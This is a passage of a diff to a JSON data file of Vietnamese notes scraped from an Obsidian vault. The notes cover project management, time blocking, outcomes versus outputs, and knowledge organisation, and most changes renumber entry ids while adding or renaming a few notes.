"2024-07-13T12:51:00.000Z", - "id": "Hq" + "id": "H_" }, { "Tiêu đề": "Insight through making", @@ -18378,7 +18555,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-01-07T13:26:00.000Z", - "id": "Hr" + "id": "I0" }, { "Tiêu đề": "Nhiều khi vấn đề chỉ được phát hiện ra khi đến khâu triển khai ý tưởng", @@ -18394,7 +18571,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T07:41:00.000Z", - "id": "Hs" + "id": "I1" }, { "Tiêu đề": "Quản lý cuộc sống chính là quản lý dự án", @@ -18410,23 +18587,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "Ht" - }, - { - "Tiêu đề": "Quản lý tác vụ là quản lý thời gian", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Công việc/Quản lý tác vụ là quản lý thời gian", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", - "Dự án": { - "Mã dự án": "C1" - }, - "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n- Visual quá cực\n\nLúc làm thì cần liên kết với tài nguyên\nQuản lý tác vụ chỉ có thể giải quyết khi nó kết hợp được lịch để time blocking\nnghĩa là database phải merge được với calendar\n\nLàm xong trở thành bài học\n\n[[Các nỗ lực quản lý tác vụ trên Obsidian đa phần đều là gắn tag]]\n\n[[Quản lý tác vụ chỉ có thể giải quyết khi nó kết hợp được lịch để time blocking]]\nNguồn:: [[Kendy]]\n", - "Định dạng nội dung": "md" - }, - "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-22T08:23:00.000Z", - "Ngày cập nhật": "2024-08-24T05:05:00.000Z", - "id": "Hu" + "id": "I2" }, { "Tiêu đề": "Sau 2 tuần nên cập nhật những cái mới", @@ -18442,7 +18603,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T06:09:00.000Z", - "id": "Hv" + "id": "I3" }, { "Tiêu đề": "Bảng quan trọng – khẩn cấp", @@ -18458,7 +18619,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-30T07:31:00.000Z", "Ngày cập nhật": "2023-11-27T15:22:00.000Z", - "id": "Hw" + "id": "I4" }, { "Tiêu đề": "Bỏ công đi học lập trình thì không đáng, nhưng không biết thì sẽ rất lệ thuộc vào người khác", @@ -18474,7 +18635,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-07-21T06:30:00.000Z", "Ngày cập nhật": "2023-11-27T15:22:00.000Z", - "id": "Hx" + "id": "I5" }, { "Tiêu đề": "Có người giới thiệu về vấn đề có lẽ là cách duy nhất để làm được những thứ mình muốn làm nhưng không khẩn cấp", @@ -18490,7 +18651,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-07-20T07:35:00.000Z", "Ngày cập nhật": "2024-07-29T10:45:00.000Z", - "id": "Hy" + "id": "I6" }, { "Tiêu đề": "Có những cái ta cần làm trước khi ta thấy cần làm", @@ -18506,7 +18667,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-03T05:10:00.000Z", - "id": "Hz" + "id": "I7" }, { "Tiêu đề": "Có những thứ ta biết là cần thiết nhưng không thể thấy thú vị nổi, thậm chí không thể đồng cảm nổi", @@ -18522,7 +18683,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-22T13:51:00.000Z", - "id": "H-" + "id": "I8" }, { "Tiêu đề": "Lý do mọi người hay gặp nước đến chân mới nhảy, không giải quyết chuyện quan trọng khi vấn đề còn nhỏ là vì ta không có đầu óc để nghĩ đến nó", @@ -18538,7 +18699,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-15T05:28:00.000Z", - "id": "H_" + "id": "I9" }, { "Tiêu đề": "Muốn thấy được những vấn đề lớn cần sự thong thả", @@ -18554,7 +18715,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-12T17:06:00.000Z", "Ngày cập nhật": "2023-12-06T09:14:00.000Z", - "id": "I0" + "id": "IA" }, { "Tiêu đề": "Nhiều khi không chịu đi bán vì việc code tiếp sẽ có lợi hơn khi sản phẩm rồi sẽ cần phải code tiếp", @@ -18570,7 +18731,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-06-03T08:34:00.000Z", - "id": "I1" + "id": "IB" }, { "Tiêu đề": "Số lượng vấn đề tìm ra trong 1 buổi có thể nhiều hơn số lượng vấn đề có thể giải quyết trong 1 tháng", @@ -18586,7 +18747,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-06T09:09:00.000Z", - "id": "I2" + "id": "IC" }, { "Tiêu đề": "Việc nghĩ về sản phẩm lôi cuốn hơn việc nghĩ về thành quả rất nhiều", @@ -18602,7 +18763,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-11T11:17:00.000Z", "Ngày cập nhật": "2023-11-27T15:22:00.000Z", - "id": "I3" + "id": "ID" }, { "Tiêu đề": "Vấn đề ngắn hạn hay dài hạn không quan trọng, quan trọng là làm cái này mà phải nghĩ về cái khác thì sẽ nhức đầu", @@ -18618,7 +18779,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-02T05:28:00.000Z", - "id": "I4" + "id": "IE" }, { "Tiêu đề": "When someone's taking time to do something right in the present, they're a perfectionist with no ability to prioritize, whereas when someone took time to do something right in the past, they're a master artisan of great foresight", @@ -18634,7 +18795,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-12T17:06:00.000Z", "Ngày cập nhật": "2024-02-05T16:27:00.000Z", - "id": "I5" + "id": "IF" }, { "Tiêu đề": "Ý tưởng sinh ra không theo độ khẩn cấp", @@ -18650,7 +18811,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-02T07:48:00.000Z", "Ngày cập nhật": "2023-12-06T09:07:00.000Z", - "id": "I6" + "id": "IG" }, { "Tiêu đề": "Điều quan trọng thì thường hiếm khi khẩn cấp, và điều khẩn cấp thì thường hiếm khi quan trọng", @@ -18666,7 +18827,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-12T17:06:00.000Z", "Ngày cập nhật": "2023-11-27T15:22:00.000Z", - "id": "I7" + "id": "IH" }, { "Tiêu đề": "Sự khám phá thực ra chỉ là lấy mẫu chứ không phải khám phá kiến thức", @@ -18682,7 +18843,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-12T06:47:00.000Z", - "id": "I8" + "id": "II" }, { "Tiêu đề": "Ta không lường trước được những công việc mình cần làm là gì trừ phi ta đã từng làm nó rồi", @@ -18698,7 +18859,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-11T13:25:00.000Z", - "id": "I9" + "id": "IJ" }, { "Tiêu đề": "Thành quả mong muốn và giả định của một công việc tìm hiểu một vấn đề nào đó là chính nó", @@ -18714,7 +18875,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-11-28T09:08:00.000Z", "Ngày cập nhật": "2023-11-28T09:17:00.000Z", - "id": "IA" + "id": "IK" }, { "Tiêu đề": "Các cấp trong tổ chức nên nói chuyện với nhau bằng thành quả", @@ -18730,7 +18891,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-20T05:55:00.000Z", - "id": "IB" + "id": "IL" }, { "Tiêu đề": "Dự án là sản phẩm", @@ -18746,7 +18907,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T06:04:00.000Z", - "id": "IC" + "id": "IM" }, { "Tiêu đề": "Giải pháp gợi ý chính là thành phẩm", @@ -18762,7 +18923,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-12-10T08:51:00.000Z", "Ngày cập nhật": "2023-12-10T08:51:00.000Z", - "id": "ID" + "id": "IN" }, { "Tiêu đề": "Mọi thành quả mong muốn đều chứa trong mình những giả định", @@ -18778,7 +18939,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-12T17:06:00.000Z", "Ngày cập nhật": "2023-11-13T06:04:00.000Z", - "id": "IE" + "id": "IO" }, { "Tiêu đề": "Một sản phẩm được tạo nên bởi nhiều thành phẩm. Thứ ta gọi là sản phẩm thành phần, hoặc sản phẩm nhỏ hơn, chính là thành phẩm", @@ -18794,7 +18955,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-30T07:40:00.000Z", - "id": "IF" + "id": "IP" }, { "Tiêu đề": "Một số thành phẩm sẽ có những thành quả mong muốn bên trong nó, nhưng thường chỉ là thành phẩm nhỏ hơn", @@ -18810,7 +18971,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T03:59:00.000Z", - "id": "IG" + "id": "IQ" }, { "Tiêu đề": "Sản phẩm là kết quả của các công việc", @@ -18826,7 +18987,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T04:05:00.000Z", - "id": "IH" + "id": "IR" }, { "Tiêu đề": "Sản phẩm là sự bồi tụ của các dòng hải lưu nhu cầu và kết tinh của kiến thức", @@ -18842,7 +19003,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-30T07:42:00.000Z", - "id": "II" + "id": "IS" }, { "Tiêu đề": "Sản phẩm là vùng đất", @@ -18858,7 +19019,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-01T12:39:00.000Z", - "id": "IJ" + "id": "IT" }, { "Tiêu đề": "Sản phẩm là vật thể", @@ -18874,7 +19035,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-01T12:36:00.000Z", - "id": "IK" + "id": "IU" }, { "Tiêu đề": "Thành phẩm (output) là các kết quả trực tiếp của các công việc", @@ -18891,7 +19052,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-09-01T08:39:00.000Z", - "id": "IL" + "id": "IV" }, { "Tiêu đề": "Thành quả (outcome) là kết quả thu được do sự thay đổi về hành vi của người dùng khi tương tác với sản phẩm đã được cải tiến (hoặc sản phẩm mới)", @@ -18907,7 +19068,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-20T05:55:00.000Z", - "id": "IM" + "id": "IW" }, { "Tiêu đề": "Thành quả quan trọng hơn thành phẩm", @@ -18923,7 +19084,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-10T13:37:00.000Z", - "id": "IN" + "id": "IX" }, { "Tiêu đề": "Tiêu đề của thành quả mong muốn bắt đầu bằng người dùng", @@ -18939,7 +19100,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-10T08:18:00.000Z", - "id": "IO" + "id": "IY" }, { "Tiêu đề": "Tầm nhìn = thành quả lớn nhất", @@ -18955,7 +19116,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-12T09:22:00.000Z", "Ngày cập nhật": "2023-11-13T06:04:00.000Z", - "id": "IP" + "id": "IZ" }, { "Tiêu đề": "Tầm nhìn là thứ mình muốn có. Sứ mệnh là thứ mình sẽ làm. Sản phẩm là thứ mình tạo ra", @@ -18971,7 +19132,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-12T09:21:00.000Z", "Ngày cập nhật": "2023-11-13T06:04:00.000Z", - "id": "IQ" + "id": "Ia" }, { "Tiêu đề": "Tầm nhìn là điều mình sẽ có khi tất cả mọi hoạt động của mình đều thành công", @@ -18987,7 +19148,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-30T09:20:00.000Z", "Ngày cập nhật": "2023-12-06T16:40:00.000Z", - "id": "IR" + "id": "Ib" }, { "Tiêu đề": "Working on niche, personally-meaningful projects brings weirder, more serendipitous inbounds", @@ -19003,7 +19164,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-30T07:31:00.000Z", "Ngày cập nhật": "2024-07-26T10:38:00.000Z", - "id": "IS" + "id": "Ic" }, { "Tiêu đề": "Đổi những câu hỏi chất vấn giả định của một thành quả về dạng khẳng định thì ta sẽ có những thành quả mong muốn thành phần", @@ -19019,7 +19180,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-12T17:06:00.000Z", "Ngày cập nhật": "2023-11-13T06:04:00.000Z", - "id": "IT" + "id": "Id" }, { "Tiêu đề": "❓Một object khi chưa tồn tại mà ta muốn có nó thì nó là objective", @@ -19035,7 +19196,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-07-16T13:31:00.000Z", "Ngày cập nhật": "2023-11-13T06:04:00.000Z", - "id": "IU" + "id": "Ie" }, { "Tiêu đề": "❓Nhu cầu = impact = vấn đề = điểm đau = động lực = lý do bắt đầu", @@ -19051,7 +19212,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-17T09:41:00.000Z", - "id": "IV" + "id": "If" }, { "Tiêu đề": "❓Tại sao không gọi thẳng là kết quả từ sự thay đổi hành vi của người dùng?Dùng thành quả dễ gây nhầm lẫn cho người chưa biết", @@ -19067,7 +19228,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-06T16:39:00.000Z", - "id": "IW" + "id": "Ig" }, { "Tiêu đề": "❝Mục tiêu❞ và ❝Kết quả❞ là những từ bao trùm", @@ -19083,7 +19244,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-13T06:04:00.000Z", - "id": "IX" + "id": "Ih" }, { "Tiêu đề": "Chỉ có thể ước lượng được thời gian cần có để hoàn thành khi công việc của ta gần như chỉ gồm công việc khai thác", @@ -19099,7 +19260,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T06:07:00.000Z", - "id": "IY" + "id": "Ii" }, { "Tiêu đề": "Cây quyết định và PERT dành cho những dự án chủ yếu gồm các công việc khai thác", @@ -19115,7 +19276,55 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-13T13:02:00.000Z", - "id": "IZ" + "id": "Ij" + }, + { + "Tiêu đề": "Danh sách công việc chỉ là danh sách chờ. Để một công việc thực sự được tính đến, ta cần để nó vào lịch", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Công việc/Thời gian làm việc/Danh sách công việc chỉ là danh sách chờ. Để một công việc thực sự được tính đến, ta cần để nó vào lịch", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: [[Công việc]], [[Thời gian, lịch]]\n[[Gọi sự chú ý là tài nguyên là không chính xác, vì đa phần ta có thể sống thiếu tài nguyên, còn sự chú ý chính là sự sống]]\nNguồn:: [Issue 37: Sixteen Weeks of Time Blocking](https://www.bramadams.dev/issue-37/)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-09-07T14:36:00.000Z", + "Ngày cập nhật": "2024-09-07T14:39:00.000Z", + "id": "Ik" + }, + { + "Tiêu đề": "Gọi sự chú ý là tài nguyên là không chính xác, vì đa phần ta có thể sống thiếu tài nguyên, còn sự chú ý chính là sự sống", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Công việc/Thời gian làm việc/Gọi sự chú ý là tài nguyên là không chính xác, vì đa phần ta có thể sống thiếu tài nguyên, còn sự chú ý chính là sự sống", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: [[Chú ý]]\n> But to describe **attention as a “resource”** is to subtly **misconstrue** its **centrality** in our lives. Most other resources on which we rely as individuals—such as food, money, and electricity—are things that facilitate life, and in some cases it’s possible to live without them, at least for a while. **Attention**, on the other hand, just **is life**: your experience of being alive consists of nothing other than the **sum of everything to which you pay attention**. At the end of your life, looking back, whatever compelled your attention from moment to moment is simply what your life will have been. So when you pay attention to something you don’t especially value, it’s not an exaggeration to say that you’re **paying with your life**.\n\nNguồn:: [Issue 37: Sixteen Weeks of Time Blocking](https://www.bramadams.dev/issue-37/)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-09-07T14:39:00.000Z", + "Ngày cập nhật": "2024-09-07T14:40:00.000Z", + "id": "Il" + }, + { + "Tiêu đề": "Lên lịch khối thời gian giúp cân bằng sự quan trọng và khẩn cấp", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Công việc/Thời gian làm việc/Lên lịch khối thời gian giúp cân bằng sự quan trọng và khẩn cấp", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: [[Cân bằng]], [[Công việc]], [[Thời gian, lịch]]\n![](https://www.timeblockplanner.com/wp-content/uploads/2020/09/tasktable.jpg)\n\nNguồn:: [Cal Newport](https://www.timeblockplanner.com/?ref=bramadams.dev)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-09-07T14:06:00.000Z", + "Ngày cập nhật": "2024-09-07T14:37:00.000Z", + "id": "Im" }, { "Tiêu đề": "Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ", @@ -19131,7 +19340,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-29T05:05:00.000Z", "Ngày cập nhật": "2024-07-29T12:01:00.000Z", - "id": "Ia" + "id": "In" }, { "Tiêu đề": "Nếu bạn nghĩ rằng bạn có thể hoàn thành đúng kế hoạch, có thể bạn đang ngộ nhận", @@ -19147,7 +19356,23 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-29T05:05:00.000Z", "Ngày cập nhật": "2024-07-29T12:01:00.000Z", - "id": "Ib" + "id": "Io" + }, + { + "Tiêu đề": "Quản lý công việc là quản lý thời gian", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Công việc/Thời gian làm việc/Quản lý công việc là quản lý thời gian", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: [[Công việc]], [[Thời gian, lịch]]\n\nNguồn:: \n- Visual quá cực\n\nLúc làm thì cần liên kết với tài nguyên\nQuản lý tác vụ chỉ có thể giải quyết khi nó kết hợp được lịch để time blocking\nnghĩa là database phải merge được với calendar\n\nLàm xong trở thành bài học\n\n[[Các nỗ lực quản lý tác vụ trên Obsidian đa phần đều là gắn tag]]\n\n[[Quản lý tác vụ chỉ có thể giải quyết khi nó kết hợp được lịch để time blocking]]\nNguồn:: [[Kendy]]\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-08-22T08:23:00.000Z", + "Ngày cập nhật": "2024-09-07T14:37:00.000Z", + "id": "Ip" }, { "Tiêu đề": "Xong hạn chót này thì sẽ tới hạn chót khác", @@ -19163,7 +19388,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-21T11:23:00.000Z", - "id": "Ic" + "id": "Iq" }, { "Tiêu đề": "Từ thành quả mong muốn nghĩ ra công việc trước dễ hơn nghĩ ra giả định trước", @@ -19179,7 +19404,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-09T15:27:00.000Z", - "id": "Id" + "id": "Ir" }, { "Tiêu đề": "Vì tôi không biết làm nên không được giao, nhưng vì không được giao nên càng không biết làm", @@ -19195,7 +19420,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-09T16:44:00.000Z", "Ngày cập nhật": "2023-11-13T06:03:00.000Z", - "id": "Ie" + "id": "Is" }, { "Tiêu đề": "Áp lực giết chết sự sáng tạo", @@ -19211,3836 +19436,3836 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-12T17:06:00.000Z", "Ngày cập nhật": "2023-11-13T06:03:00.000Z", - "id": "If" + "id": "It" }, { - "Tiêu đề": "Ghi chú thì linh hoạt, nhưng tĩnh. App thì cứng nhắc, nhưng động", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Ghi chú thì linh hoạt, nhưng tĩnh. App thì cứng nhắc, nhưng động", + "Tiêu đề": "Các nhóm làm việc qua mạng ngày càng nhiều", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Các nhóm làm việc qua mạng ngày càng nhiều", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n[[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]]\nNguồn:: ![Dynamic documents as personal software - Geoffrey Litt - YouTube](https://youtu.be/bJ3i4K3hefI?si=537W13Qe3GvpC_U5&t=481)", + "Toàn bộ nội dung": "With the rise of [remote work and distributed teams](https://medium.com/@anupamr/distributed-teams-are-the-new-cloud-for-startups-14240a9822d7),\n\n[[Có sự đánh đổi giữa sự dễ dàng tuỳ biến dữ liệu của mình và sự dễ dàng hợp tác qua mạng]]. Tuy vậy, [[Hợp tác thời gian thực không thực sự cần thiết trong đa số trường hợp. Đa số đều là hợp tác phi đồng bộ]]\n[[Việc hợp tác làm việc thời gian thực với dữ liệu được lưu ở máy cá nhân là một bài toán khó]]\n[[Sản phẩm no code đem đến sự phản hồi tức thời]]\n[[Groupware requires careful implementation into a group setting, and product developers have not as yet been able to find the most optimal way to introduce such systems into organizational environments]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-19T15:52:00.000Z", - "id": "Ig" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T09:32:00.000Z", + "id": "Iu" }, { - "Tiêu đề": "Học qua dự án hay học bài bản", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Học qua dự án hay học bài bản", + "Tiêu đề": "Các tổ chức thường chỉ lưu trữ kiến thức mà ít khi dành nhiều sự chú ý tới kết nối chúng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Các tổ chức thường chỉ lưu trữ kiến thức mà ít khi dành nhiều sự chú ý tới kết nối chúng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: [[Quản trị kiến thức]]\nThere are two reasons for that behavior:\n\n1. Most note-taking/wiki software doesn’t have good enough tools to create, navigate, and manage connections.\n2. Explicit connection creation is a heavy cognitive task, so people tend to skip it.\n\nNguồn:: [Augmenting Organizational Intelligence](https://fibery.io/blog/augmenting-organizational-intelligence/)\n[[Việc nhìn ra mẫu hình cần những kiến thức có cấu trúc được lưu trong trí nhớ dài hạn]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-28T08:12:00.000Z", - "id": "Ih" + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "Iv" }, { - "Tiêu đề": "An outcome is a change in human behavior that drives business results", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/An outcome is a change in human behavior that drives business results", + "Tiêu đề": "Cấu trúc phân cấp thường cứng nhắc và nhân tạo", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Cấu trúc/Cấu trúc phân cấp thường cứng nhắc và nhân tạo", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Outcomes have nothing to do with making stuff—though they sometimes are created by making the right stuff. Instead, outcomes are the changes in customer, user, employee behavior that lead to good things for your company, your organization, or whomever is the focus of your work.\n\nNó là câu trả lời cho câu hỏi \"tôi tham gia nơi này vì điều gì?\" \n\n- You can manage a team by telling them what to make: that’s called managing outputs. It’s a problem, because features don’t always deliver value.\n- You can manage a team by asking them to create some high-level value, like growing revenue. That’s called managing impact. It’s a problem because it’s not specific enough.\n- What you want is to manage with outcomes: ask teams to create a specific customer behavior that drives business results. That allows them to find the right solution, and keeps them focused on delivering value.\n- For our purposes, an outcome is “a change in customer behavior that drives business results.”\n- Defining outcomes in terms of customer behaviors creates a more customer-centric and user-centric way of working.\n- Outcomes and Agility: using outcomes to direct the work of your teams unlocks your team’s creativity. They will work to find the best solution to the problem at hand in order to create the outcome you seek.\n- To figure out if your outputs create the outcomes you seek, you need to test and run experiments. MVP is just a buzzword that means “experiment.”\n", + "Toàn bộ nội dung": "> Hierarchical structures are usually forced and artificial. Intertwingularity is not generally acknowledged — people think they can make things hierarchical, categorizable and sequential when they can't.\n> — Ted Nelson\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-03-03T12:48:00.000Z", - "id": "Ii" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "Iw" }, { - "Tiêu đề": "Bởi vì sản phẩm có tính quy hồi và có thể là thành phẩm chung của nhiều sản phẩm lớn hơn, nên để quản lý được nó ta phải biết lập trình", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Bởi vì sản phẩm có tính quy hồi và có thể là thành phẩm chung của nhiều sản phẩm lớn hơn, nên để quản lý được nó ta phải biết lập trình", + "Tiêu đề": "Những gì ta viết thì nên được tự động được cấu trúc", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Cấu trúc/Những gì ta viết thì nên được tự động được cấu trúc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Dữ liệu chính là lập trình]] \n[[Lập trình là việc hướng dẫn máy làm theo đúng ý mình, chứ không phải chỉ mỗi viết code]]\n[[Lập trình là một cái gì đó thâm nhập vào đời sống của chúng ta, nhưng lại gần như vô hình]]\n\nQuy hồi (recursive) là việc [[Một sản phẩm được tạo nên bởi nhiều thành phẩm. Thứ ta gọi là sản phẩm thành phần, hoặc sản phẩm nhỏ hơn, chính là thành phẩm|một sản phẩm được tạo nên bởi nhiều sản phẩm nhỏ hơn]]\n[[Sản phẩm là vật thể]]\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", + "Toàn bộ nội dung": "Khái niệm:: \n[Thoughts On Markdown — Smashing 